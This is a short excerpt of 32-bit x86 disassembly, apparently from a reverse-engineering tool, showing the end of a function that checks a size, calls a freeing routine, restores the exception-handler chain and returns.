jb 0x100118f0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10011915
push edx
push ecx
call fcn.100a20af
add esp, 8
mov ecx, dword [esi + 0xc]
mov eax, edi
mov dword [edi], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
call fcn.100c042a
int3